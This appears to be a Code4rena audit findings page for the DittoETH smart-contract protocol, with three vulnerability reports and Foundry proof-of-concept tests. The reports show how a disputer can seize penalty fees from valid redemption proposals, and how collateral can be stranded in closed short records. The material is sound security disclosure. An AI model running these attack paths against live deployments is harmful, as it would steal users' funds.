DittoETH - Cosine's results

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/RedemptionFacet.sol#L267-L268 https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/AppStorage.sol#L92

Vulnerability details

Impact

When a user creates a redemption proposal with the proposeRedemption function the user has to provide a list of the short records (SRs) with the lowest collateral ratios (CR) in the system ascending.

To prevent users from creating proposals with a wrong SR list, anyone is allowed to dispute proposals with the disputeRedemption function. This function allows the disputer to prove that a SR with a lower CR was not included in the proposal and for doing so the disputer receives a penalty fee from the proposer.

If between these flows of creating a wrong proposal and disputing it a SR is closed (liquidation, exiting, transfer, ...) the collateral is added to the closed SR and can not be recovered.

Proof of Concept

The following POC can be implemented in the Redemption.t.sol test file:

function test_dispute_on_non_existing_sr() public {
    // setup shorts
    makeShorts({singleShorter: true});

    _setETH(1000 ether);
    skip(1 hours);

    STypes.ShortRecord memory sr1 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID);
    STypes.ShortRecord memory sr2 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+1);
    STypes.ShortRecord memory sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    uint256 cr1 = diamond.getCollateralRatio(asset, sr1);
    uint256 cr2 = diamond.getCollateralRatio(asset, sr2);
    uint256 cr3 = diamond.getCollateralRatio(asset, sr3);

    // CRs are increasing
    assertGt(cr2, cr1);
    assertGt(cr3, cr2);

    // user creates a wrong proposal
    MTypes.ProposalInput[] memory proposalInputs =
        makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID + 1, shortId2: C.SHORT_STARTING_ID + 2});

    address redeemer = receiver;
    vm.prank(redeemer);
    diamond.proposeRedemption(asset, proposalInputs, DEFAULT_AMOUNT * 3 / 2, MAX_REDEMPTION_FEE);

    // on of the SRs in the proposal is closed
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, extra);
    exitShort(C.SHORT_STARTING_ID + 2, DEFAULT_AMOUNT / 2, DEFAULT_PRICE, sender);

    // SR is now closed
    sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    assertEq(uint(sr3.status), uint(SR.Closed));

    uint88 collateralBefore = sr3.collateral;

    // another user disputes the wrong proposal
    address disputer = extra;
    vm.prank(disputer);
    diamond.disputeRedemption({
        asset: asset,
        redeemer: redeemer,
        incorrectIndex: 0,
        disputeShorter: sender,
        disputeShortId: C.SHORT_STARTING_ID
    });

    // SR is still closed and collateral increased
    sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);
    assertEq(uint(sr3.status), uint(SR.Closed));
    assertGt(sr3.collateral, collateralBefore);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Opening up the SR again if it's closed would be a solution, but it could probably be misused to avoid liquidations. Therefore carefully think about the implications of changes in this context.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/RedemptionFacet.sol#L259 https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/ShortRecordFacet.sol#L81-L104

Vulnerability details

Impact

When a user creates a redemption proposal with the proposeRedemption function the user has to provide a list of the short records (SRs) with the lowest collateral ratios (CR) in the system ascending.

To prevent users from creating proposals with a wrong SR list, anyone is allowed to dispute proposals with the disputeRedemption function. This function allows the disputer to prove that a SR with a lower CR was not included in the proposal and for doing so the disputer receives a penalty fee from the proposer. Therefore if an attacker can dispute a valid redemption proposal the attacker can steal funds from a proposer.

To avoid malicious disputers the system invented a DISPUTE_REDEMPTION_BUFFER that should prevent users from disputing with a SR that was created/modified <= 1 hour before the redemption proposal was created:

if (disputeCR < incorrectProposal.CR && disputeSR.updatedAt + C.DISPUTE_REDEMPTION_BUFFER <= redeemerAssetUser.timeProposed)

But not every function that modifies a SR updates the updatedAt param. This enables the possibility for an attacker to dispute a valid redemption proposal by modifying a SR after the proposal so that the proposer does not have the chance to create a correct proposal.

The decreaseCollateral function does not update the updatedAt param and therefore the following attack path is enabled:

• initalCR of the given asset is set to 1.7 (as in the docs) and the max redemption CR is 2 (constant)
• User creates a valid redemption proposal where the SRs have a CR above the initalCR
• The attacker owns a SR with a CR above the ones in the proposal
• The attacker decreases the CR of the own SR to the initalCR, disputes the redemption to receive the penalty fee, and increases the CR back up in one transaction

Proof of Concept

The following POC can be implemented in the Redemption.t.sol test file:

function test_decrease_cr_dispute_attack() public {
    // add import {O} from "contracts/libraries/DataTypes.sol"; to the imports to run this test

    // create three SRs with increasing CRs above initialCR

    // set inital CR to 1.7 as in the docs
    vm.startPrank(owner);
    diamond.setInitialCR(asset, 170);

    uint80 price = diamond.getOraclePriceT(asset);

    fundLimitBidOpt(price, DEFAULT_AMOUNT, receiver);

    depositEth(sender, price.mulU88(DEFAULT_AMOUNT).mulU88(100e18));

    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 70);

    fundLimitBidOpt(price + 1, DEFAULT_AMOUNT, receiver);

    shortHintArray = setShortHintArray();
    orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 80);

    fundLimitBidOpt(price + 2, DEFAULT_AMOUNT, receiver);

    shortHintArray = setShortHintArray();
    orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 100);

    skip(1 hours);

    STypes.ShortRecord memory sr1 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID);
    STypes.ShortRecord memory sr2 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+1);
    STypes.ShortRecord memory sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    uint256 cr1 = diamond.getCollateralRatio(asset, sr1);
    uint256 cr2 = diamond.getCollateralRatio(asset, sr2);
    uint256 cr3 = diamond.getCollateralRatio(asset, sr3);

    // CRs are increasing
    assertGt(cr2, cr1);
    assertGt(cr3, cr2);

    // user proposes a redemption
    uint88 _redemptionAmounts = DEFAULT_AMOUNT * 2;
    uint88 initialErcEscrowed = DEFAULT_AMOUNT;

    MTypes.ProposalInput[] memory proposalInputs =
        makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID, shortId2: C.SHORT_STARTING_ID + 1});

    address redeemer = receiver;
    vm.prank(redeemer);
    diamond.proposeRedemption(asset, proposalInputs, _redemptionAmounts, MAX_REDEMPTION_FEE);

    // attacker decreases collateral of a SR with a CR avove the ones in the proposal so that they fall below the CR of the SRs in the proposal
    uint32 updatedAtBefore = getShortRecord(sender, C.SHORT_STARTING_ID + 2).updatedAt;

    vm.prank(sender);
    diamond.decreaseCollateral(asset, C.SHORT_STARTING_ID + 2, 0.3e18);

    uint32 updatedAtAfter = getShortRecord(sender, C.SHORT_STARTING_ID + 2).updatedAt;

    // updatedAt param is not updated when decreasing collateral
    assertEq(updatedAtBefore, updatedAtAfter);

    // attacker successfully disputes the redemption proposal
    address disputer = extra;
    vm.prank(disputer);
    diamond.disputeRedemption({
        asset: asset,
        redeemer: redeemer,
        incorrectIndex: 1,
        disputeShorter: sender,
        disputeShortId: C.SHORT_STARTING_ID + 2
    });
}

Tools Used

Manual Review

Recommended Mitigation Steps

Update the updatedAt param when decreasing collateral, or do now allow redemption proposals of SRs above the initialCR (as decreasing below that is not possible).

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/RedemptionFacet.sol#L259 https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L151-L162

Vulnerability details

Impact

The report named Valid redemption proposals can be disputed by decreasing collateral explains how an attacker can steal from proposers by disputing valid redemption proposals. If any function that modifies a short records state (in a way that influences the CR) without updating the updatedAt param is executed. This report showcases another path that leads to such a state.

When bad debt occurs in the system it is socialized among all short records by increasing the ercDebtRate. At the next interaction with this short the updateErcDebt function is called to apply the portion of bad debt to the short:

function updateErcDebt(STypes.ShortRecord storage short, address asset) internal {
    AppStorage storage s = appStorage();

    // Distribute ercDebt
    uint64 ercDebtRate = s.asset[asset].ercDebtRate;
    uint88 ercDebt = short.ercDebt.mulU88(ercDebtRate - short.ercDebtRate);

    if (ercDebt > 0) {
        short.ercDebt += ercDebt;
        short.ercDebtRate = ercDebtRate;
    }
}

As we can see the updateErcDebt function has the mentioned properties. It increases the debt and therefore influences the CR without updating the updatedAt param. This enables the following attack path:

• User creates a valid redemption proposal
• Bad debt occurs in the system
• The attacker applies the bad debt to a short record that is not part of the proposal and by doing so falls below the CR of any of the SRs in the proposal
• Attacker disputes the redemption proposal to receive the penalty fee

The updateErcDebt function is internal, but the proposeRedemption function can be used to apply it on any SR.

Proof of Concept

The following POC can be implemented in the Redemption.t.sol test file and showcases that the proposeRedemption function can be used to apply bad debt to SRs without updating the updatedAt parameter. That this can be misused to steal funds as shown with another POC in the mentioned report.

function test_proposeRedemption_does_update_updatedAt() public {
    // setup
    uint88 _redemptionAmounts = DEFAULT_AMOUNT * 2;
    makeShorts({singleShorter: true});

    skip(1 hours);
    _setETH(1000 ether);

    // propose a redemption
    MTypes.ProposalInput[] memory proposalInputs =
        makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID, shortId2: C.SHORT_STARTING_ID + 1});

    uint32 updatedAtBefore = getShortRecord(sender, C.SHORT_STARTING_ID).updatedAt;

    vm.prank(receiver);
    diamond.proposeRedemption(asset, proposalInputs, _redemptionAmounts, MAX_REDEMPTION_FEE);

    uint32 updatedAtAfter = getShortRecord(sender, C.SHORT_STARTING_ID).updatedAt;

    // updatedAt param was not updated
    assertEq(updatedAtBefore, updatedAtAfter);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Update the updatedAt parameter every time the updateErcDebt function is called, or/and call updateErcDebt in the disputeRedemption function on the SR at the incorrectIndex before comparing the CRs.

Assessed type

Context